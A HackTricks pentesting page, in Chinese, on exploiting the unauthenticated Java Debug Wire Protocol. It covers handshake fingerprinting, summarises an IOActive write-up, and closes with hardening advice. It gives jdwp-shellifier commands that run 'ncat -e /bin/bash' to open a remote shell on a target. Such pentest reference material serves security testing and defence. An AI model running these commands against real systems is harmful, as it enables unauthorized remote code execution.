Pentesting JDWP - Java Debug Wire Protocol

Reading time: 5 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

利用

JDWP 利用依赖于 协议缺乏身份验证和加密。它通常在 8000 端口上找到,但其他端口也是可能的。初始连接是通过向目标端口发送 "JDWP-Handshake" 来建立的。如果 JDWP 服务处于活动状态,它会以相同的字符串响应,确认其存在。此握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。

在进程识别方面,在 Java 进程中搜索字符串 "jdwk" 可以指示一个活动的 JDWP 会话。

首选工具是 jdwp-shellifier。您可以使用不同的参数:

bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

我发现使用 --break-on 'java.lang.String.indexOf' 使得利用更加 稳定。如果你有机会向主机上传一个后门并执行它,而不是执行一个命令,利用将会更加稳定。

更多细节

这是https://ioactive.com/hacking-java-debug-wire-protocol-or-how/的总结。请查看以获取更多细节。

  1. JDWP 概述
  • 这是一种基于数据包的网络二进制协议,主要是同步的。
  • 缺乏身份验证和加密,使其在暴露于恶意网络时容易受到攻击。
  1. JDWP 握手
  • 使用简单的握手过程来启动通信。调试器(客户端)和被调试程序(服务器)之间交换一个14个字符的ASCII字符串“JDWP-Handshake”。
  1. JDWP 通信
  • 消息具有简单的结构,包含长度、ID、标志和命令集等字段。
  • 命令集值范围从0x40到0x80,表示不同的操作和事件。
  1. 利用
  • JDWP 允许加载和调用任意类和字节码,带来安全风险。
  • 文章详细描述了一个五步的利用过程,包括获取Java运行时引用、设置断点和调用方法。
  1. 现实生活中的利用
  • 尽管可能有防火墙保护,JDWP服务在现实场景中是可发现和可利用的,正如在ShodanHQ和GitHub等平台上的搜索所示。
  • 利用脚本已在各种JDK版本上进行了测试,并且是平台无关的,提供可靠的远程代码执行(RCE)。
  1. 安全影响
  • 互联网上开放的JDWP服务的存在强调了定期进行安全审查、在生产环境中禁用调试功能以及适当的防火墙配置的必要性。

参考文献:

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks